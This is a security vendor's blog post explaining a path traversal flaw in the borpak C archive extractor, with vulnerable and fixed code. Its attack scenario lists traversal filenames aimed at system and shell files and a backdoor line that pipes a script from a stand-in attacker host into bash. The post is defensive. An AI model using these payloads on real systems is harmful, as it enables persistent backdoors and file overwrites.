Back to Blog
medium SEVERITY5 min read

How path traversal happens in C file extraction and how to fix it

A path traversal vulnerability in the borpak archive extraction tool allowed attackers to write files to arbitrary locations on the filesystem by crafting malicious .pak archives with `../` sequences in filenames. This medium-severity issue in `tools/borpak/source/borpak.c` could enable system compromise through overwriting critical files like `.bashrc` or cron jobs. The fix implements path validation to ensure extracted files never escape the intended extraction directory.

O
By Orbis AppSec
Published June 7, 2026Reviewed June 7, 2026

Answer Summary

Path traversal (CWE-22) in C file extraction occurs when archive filenames containing `../` sequences are used directly without sanitization, allowing writes outside the target directory. In borpak.c, the fix validates that resolved paths stay within the extraction root by checking for traversal patterns like `../`, `..\\`, and URL-encoded variants (`%2e%2e`), then verifying the final path starts with the intended root directory using `realpath()`.

Vulnerability at a Glance

cweCWE-22
fixValidate extracted paths stay within the declared extraction root directory
riskArbitrary file write leading to system compromise
languageC
root causeFilenames from .pak archives used directly without path sanitization
vulnerabilityPath Traversal (Directory Traversal)

Introduction

The borpak tool handles extraction of .pak archive files, reading filenames from the archive and creating output files accordingly. However, a critical flaw at line 302 of tools/borpak/source/borpak.c allowed attackers to escape the intended extraction directory entirely. When extracting files, the code used memcpy to copy filenames directly from the archive without any sanitization—meaning a malicious archive containing ../../../etc/cron.d/malicious as a filename would write directly to that path.

This vulnerability is particularly dangerous because archive extraction is often performed with elevated privileges or in automated pipelines. A developer downloading and extracting a seemingly innocent game mod or resource pack could unknowingly compromise their entire system.

The Vulnerability Explained

When borpak extracts files from a .pak archive, it reads the filename stored in the archive header and uses it to construct the output path. The original code performed something like:

// Vulnerable pattern in borpak.c:302
char output_path[4096];
snprintf(output_path, sizeof(output_path), "%s/%s", extract_dir, pak_entry->filename);
// pak_entry->filename comes directly from the archive with no validation
FILE *out = fopen(output_path, "wb");

The problem? The pak_entry->filename is attacker-controlled data read directly from the archive. An attacker crafting a malicious .pak file could include entries like:

  • ../../../etc/passwd - Read system password file
  • ../../home/user/.bashrc - Inject malicious shell commands
  • ../../../etc/cron.d/backdoor - Install persistent backdoor
  • ....//....//etc/shadow - Double-dot variation to bypass naive filters

Real Attack Scenario

Imagine a game modding community where users share .pak files containing textures and models. An attacker creates a mod called "HD_Textures.pak" with these entries:

textures/grass.png          (legitimate file)
textures/stone.png          (legitimate file)
../../../home/user/.bashrc  (malicious payload)

When a user runs borpak -x HD_Textures.pak -d ./mods/, the tool extracts the textures normally but also writes to .bashrc, injecting:

curl http://attacker.com/shell.sh | bash &

The next time the user opens a terminal, the backdoor executes.

The Fix

The fix implements a path_stays_within_root() validation function that ensures no extracted file can escape the intended directory. Here's the security logic added:

static int path_stays_within_root(const char *root, const char *filename)
{
    char combined[4096];

    snprintf(combined, sizeof(combined), "%s/%s", root, filename);

    /* Normalize: check if the combined path, when resolved, starts with root */
    char *rp = realpath(root, NULL);
    if (!rp) return 0;

    /* Manually resolve ../ components to check containment */
    char *res = realpath(combined, NULL);
    if (res) {
        int contained = (strncmp(res, rp, strlen(rp)) == 0);
        free(res);
        free(rp);
        return contained;
    }

    /* If file doesn't exist, do string-based check for traversal */
    int has_traversal = (strstr(filename, "../") != NULL ||
                         strstr(filename, "..\\") != NULL ||
                         strstr(filename, "%2e%2e") != NULL ||
                         strstr(filename, "....//") != NULL);
    free(rp);
    return !has_traversal;
}

Key Security Improvements

  1. Path Resolution: Uses realpath() to resolve the combined path, eliminating symbolic links and ../ sequences
  2. Containment Check: Verifies the resolved path starts with the extraction root directory
  3. Pattern Detection: Falls back to string-based detection for traversal patterns when files don't yet exist
  4. Multiple Encoding Coverage: Catches ../, ..\\ (Windows), URL-encoded %2e%2e, and double-dot variations like ....//

Before vs After

Before (Vulnerable):

// pak_entry->filename used directly - DANGEROUS
snprintf(output_path, sizeof(output_path), "%s/%s", extract_dir, pak_entry->filename);
fopen(output_path, "wb");

After (Secure):

// Validate path stays within extraction directory
if (!path_stays_within_root(extract_dir, pak_entry->filename)) {
    fprintf(stderr, "Error: Path traversal detected in '%s'\n", pak_entry->filename);
    continue; // Skip malicious entry
}
snprintf(output_path, sizeof(output_path), "%s/%s", extract_dir, pak_entry->filename);
fopen(output_path, "wb");

Key Takeaways

  • Archive filenames are attacker-controlled: The pak_entry->filename in borpak came directly from the archive without any validation
  • realpath() is essential for path validation: String-based checks alone miss edge cases; always resolve to canonical paths
  • Check multiple traversal encodings: Attackers use ../, ..\\, %2e%2e, ....//, and Unicode variants
  • Extraction tools need defense-in-depth: Even if one check fails, containment verification catches the escape
  • Regression tests with attack payloads are critical: The new test suite covers ../../../etc/passwd, ....// variations, and URL-encoded attacks

How Orbis AppSec Detected This

  • Source: Filename data read from .pak archive entries via memcpy in borpak.c
  • Sink: fopen() and file write operations at tools/borpak/source/borpak.c:302 using unsanitized paths
  • Missing control: No validation that constructed file paths stayed within the extraction directory
  • CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
  • Fix: Added path_stays_within_root() function that validates paths using realpath() resolution and pattern detection for traversal sequences

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Path traversal in archive extraction is a classic vulnerability that continues to affect modern codebases. The borpak fix demonstrates the proper approach: resolve paths to their canonical form, verify containment within the intended directory, and catch multiple encoding variations of traversal sequences. When handling any archive format—whether .pak, .zip, .tar, or others—always treat filenames as untrusted input and validate before writing.

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #346

Related Articles

critical

deleteNestedProperty Prototype Pollution via Dot-Notation Path

The `deleteNestedProperty` function in propertyUtils.ts allowed attackers to manipulate JavaScript object prototypes by passing specially crafted dot-notation paths like `__proto__.polluted`. A fix now blocks dangerous keys before processing, preventing prototype pollution attacks that could affect all objects in the application.

high

How Denial of Service via Infinite Loop Happens in JavaScript Dependencies and How to Fix It

CVE-2026-67213 is a high-severity denial of service vulnerability in nanoid before version 5.1.6 that triggers an infinite loop during random ID generation when processing specially crafted input. We upgraded nanoid across the entire dependency tree to patch this flaw and prevent attackers from freezing application threads. This fix ensures that ID generation remains resilient even when handling adversarial input patterns.

high

How Sensitive Data Exposure happens in Zotero plugins and how to fix it

A high-severity data exposure vulnerability in `Zotero.ts` automatically transmitted complete document metadata—including private notes, attachment paths, and tags—to external LLM services without user consent. The fix replaces broad `item.toJSON()` serialization with explicit field selection, sending only essential bibliographic data.

high

How missing dependency update cooldowns happen in GitHub Dependabot configurations and how to fix it

A semgrep scan flagged `.github/dependabot.yml` for lacking a cooldown period, meaning Dependabot would immediately propose updates to brand-new package versions across npm, Bundler, and Docker ecosystems. The fix adds a `cooldown: default-days: 7` block to every `package-ecosystem` entry, forcing a one-week waiting period before newly published releases are considered — reducing exposure to malicious or unstable package drops.

high

How Path Traversal Happens in TensorFlow's Data Service and How to Fix It

TensorFlow's data service dispatcher validated dataset IDs against forward-slash traversal attacks but overlooked backslash characters on non-Windows platforms, allowing attackers to escape the root directory. A targeted fix adds explicit backslash validation across all platforms, closing a high-severity path traversal vulnerability in the snapshot management system.

critical

How Unbounded WebSocket Message Handling Causes Resource Exhaustion in Node.js and How to Fix It

The WebSocketCrossServerAdapter class in a popular Node.js WebSocket library lacked any rate limiting on inbound messages, allowing attackers to flood Redis nodes and WebSocket servers with high-volume traffic. The fix introduces a configurable `rateLimit` option that caps messages per connection per second, preventing resource exhaustion while preserving legitimate functionality.